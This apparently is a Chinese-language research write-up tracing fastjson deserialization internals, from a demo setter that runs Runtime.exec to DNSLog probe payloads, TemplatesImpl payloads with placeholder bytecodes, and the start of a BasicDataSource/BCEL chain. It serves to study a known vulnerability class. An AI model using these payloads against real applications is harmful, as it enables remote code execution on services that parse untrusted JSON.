通过fastjson解析json字符串的流程得知:`@type`对应类名,通过获取`setXxx`或`set_Xxx`方法,对应`xxx`属性,先创建一个类对象,再通过invoke调用`setXxx`方法进行赋值
1. 模拟命令执行
因此只需要找到一个setXxx中存在代码执行的类构造利用链,比如下面这个示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package vuln.POJO;
import java.io.IOException;
public class evilClass { private String name; public String getName() { return name; } public void setName(String name) { try { Runtime.getRuntime().exec(name); } catch (IOException e) { } this.name = name; } }
|
1 2 3 4 5 6 7 8 9 10 11
| package vuln;
import com.alibaba.fastjson.JSON; import vuln.POJO.evilClass;
public class poc_1_2_24 { public static void main(String[] args) { String poc = "{\"@type\":\"vuln.POJO.evilClass\",\"name\":\"open /System/Applications/Calculator.app\"}"; evilClass object = (evilClass)JSON.parse(poc); } }
|
2. 利用链
2.1 DNS请求
1 2
| {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
|
2.1.1 java.net.Inet4Address
直接看java.net.Inet4Address类,并没有找到属性值;通过调试发现,该类并没有走之前那个流程,他的deserializer是系统中默认就有的
于是查看getDeserializer方法,进入this.derializers.get(type);中,遍历所有内置映射好的类;发现其中就包括java.net.Inet4Address
2.1.2 补充-内置有deserializer对应的类名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| java.util.concurrent.atomic.AtomicBoolean com.alibaba.fastjson.JSONObject byte java.sql.Date java.lang.StringBuilder java.lang.Double java.sql.Timestamp java.lang.Cloneable java.lang.StackTraceElement java.math.BigDecimal boolean java.util.UUID java.net.URI java.util.TimeZone java.util.Map java.math.BigInteger java.lang.Long java.lang.Class java.io.Closeable [C java.io.File char java.net.InetSocketAddress double java.util.concurrent.atomic.AtomicLong java.io.Serializable com.alibaba.fastjson.JSONPath java.util.concurrent.ConcurrentHashMap java.util.concurrent.atomic.AtomicReference java.lang.Integer java.util.Date java.util.ArrayList java.util.Locale java.lang.Boolean java.lang.Number java.util.List java.util.Currency java.net.Inet6Address java.lang.Short java.util.concurrent.atomic.AtomicLongArray java.util.concurrent.ConcurrentMap java.net.Inet4Address java.util.Collection java.util.Calendar java.lang.ref.SoftReference int javax.xml.datatype.XMLGregorianCalendar java.util.regex.Pattern java.net.InetAddress short java.util.concurrent.atomic.AtomicInteger com.alibaba.fastjson.JSONArray java.nio.charset.Charset java.util.LinkedHashMap java.util.TreeMap long java.lang.StringBuffer java.lang.Comparable java.text.SimpleDateFormat float java.sql.Time java.lang.ref.WeakReference java.lang.String java.util.HashMap java.lang.Character java.lang.Byte java.lang.Object java.lang.Float java.util.concurrent.atomic.AtomicIntegerArray java.net.URL
|
获取到的类为MiscCodec,因此反序列化的方法在 com.alibaba.fastjson.serializer#deserialze中
- 如下图中,当类是
InetSocketAddress时,会单独处理
- 会判断参数是否为
val,然后进入parse.parse()解析流程
如图,在解析过程中,判断了类的类型,进入InetAddress.getName(strVal)中
2.1.2 补充-Inet4Address解析域名
a. InetAddress.getAllByName
b. 判断是否为IP地址
c. 判断cache中是否有缓存的域名解析地址,如果没有,则通过getAddressesFromNameService解析

d. 接下来
lookupAllHostAddr中就是一些解析域名的操作,先不跟入了
2.1.4 java.net.URL
查看MiscCodec反序列化工具类,针对URL类的实例化处理只是new URL,那怎么触发DNS请求呢
没有思路的时候,可能是因为没有将反序列化流程完全分析到
- 首先在创建
DefaultJSONParser时,将Set取出,并指定对应的token值
- 然后在paser方法时,进入指定的
SET分支,进入parseArray方法
- 其中
[]中@type对应的解析方法和之前一样是parseObject(object, i);
完成`@type`的反序列化操作后,进行`HashSet.add`操作
`HashSet.add`
`HashMap.put`
`key(java.net.URL对象).hashCode()`
这里就执行到`java.net.URL.hashCode`方法,这样就触发了域名解析;记得不太清楚了,似乎和`readObject`反序列化中的`URLDNS`利用链相似
由于整个解析流程,类似于流式结构,因此没有最后一个`]`闭合`Set`也是可以的
1 2
| Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"}
|
同理,还有两个使用parseArray的解析流程,参照 com.alibaba.fastjson.parser.JSONLexerBase#nextToken及scanIdent方法,对应TreeSet 和 [],但是他们对应的是TreeSet和JSONArray;如TreeSet的add方法,会执行Compara方法,需要实现Comparable类,并运行Comparable.compareTo方法,这里想到了readObject CB利用链,暂时放着。
2.1.5 poc构造
1 2 3 4 5
| {"@type":"java.net.InetAddress","val":"dnslog"} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} Set[{"@type":"java.net.URL","val":"http://dnslog"}]
|
2.2 TemplatesImpl利用链
2.2.1 注意私有字段的赋值
默认通过反射进行复制是不能使用私有字段的,此时需要在反序列化时加上Feature.SupportNonPublicField,因此这种利用链不一定在所有的场景都可以用
2.2.2 数组类型的变量
当字段值为数组类型时,使用的是ObjectArrayCodec这个类作为反序列化工具类
base64解码
通过序列化去写入一个`byte[]`字段值也可以看到
因此这个poc最大的限制在于目标在反序列化时,是否配置允许私有字段的属性,即指定`Feature.SupportNonPublicField` ,如果这项没有指定,那么也就不能使用了;
2.2.3 getOutputProperties
这里再提一下,这个poc的触发点,是这个方法;在之前分析fastjson反序列化流程时,对于getXXX方法也是会提取的,前提是getXXX的方法是没有传参的;
2.2.4 结合CB利用链的新思路
记录一个思路: {“@type”:”org.apache.commons.beanutils.BeanComparator”,”comparator”:{“@type”:”org.apache.commons.collections.comparators.ComparableComparator”},”property”:”outputProperties”}
通过TreeSet触发反序列化,这个看看后续能不能用
1 2 3
| {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["xxxxxxx"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": "xxxxxxx","_name":"p","_tfactory":{},"_outputProperties":{}}
|
- 这里类加载的部分就不说了,参考之前反序列化中分析
TemplatesImpl的步骤,这里触发类的实例化的地方在getOutputProperties()
2.3 BCEL利用链
2.3.1 BasicDataSource关键类
关键类:org.apache.tomcat.dbcp.dbcp.BasicDataSource
如图,在createConnectionFactory方法调用了Class.forName,其中driverClassName和driverClassLoader两个私有参数都有对应的Set方法,因此是可控的
- 追踪一下
createConnectionFactory 的调用链